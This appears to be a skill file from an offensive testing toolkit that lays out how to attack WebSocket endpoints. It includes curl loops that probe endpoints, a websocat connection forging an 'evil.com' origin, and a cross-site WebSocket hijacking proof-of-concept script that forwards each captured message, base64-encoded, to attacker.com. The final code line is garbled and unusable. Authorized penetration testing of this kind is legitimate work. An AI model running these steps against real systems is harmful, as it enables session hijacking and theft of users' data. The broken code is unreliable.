attack-websocket

name	attack-websocket
description	WebSocket security testing — CSWSH, message injection, auth bypass, origin validation
category	web-application
version	1.0
author	cyberstrike-official
tags	["websocket","web","cswsh","injection","attack"]
tech_stack	["web"]
cwe_ids	["CWE-1385","CWE-346"]
chains_with	["attack-cors"]
prerequisites	[]
severity_boost	{"attack-cors":"WebSocket + CORS bypass = cross-origin data theft via WS"}

WebSocket Security Testing

Objective

Exploit WebSocket implementation flaws including cross-site WebSocket hijacking (CSWSH), message injection, and authentication bypass.

Testing Methodology

Phase 1: Identify WebSocket Endpoints

# Look for WebSocket upgrade
curl -s -D- https://TARGET/ -H "Upgrade: websocket" -H "Connection: Upgrade"

# Check common paths
for path in /ws /socket /websocket /api/ws /chat /live /realtime; do
  curl -s -D- "https://TARGET$path" \
    -H "Upgrade: websocket" \
    -H "Connection: Upgrade" \
    -H "Sec-WebSocket-Version: 13" \
    -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" 2>/dev/null | head -1
done

Phase 2: Cross-Site WebSocket Hijacking (CSWSH)

Check if Origin header is validated:

# Connect with evil origin
websocat -H "Origin: https://evil.com" "wss://TARGET/ws"

# If connection succeeds with evil.com origin → CSWSH is possible

PoC HTML:

<script>
var ws = new WebSocket('wss://TARGET/ws');
ws.onmessage = function(e) {
  fetch('https://attacker.com/log?data=' + btoa(e.data));
};
ws.onopen = function() {
  ws.send(JSON.({: }));
};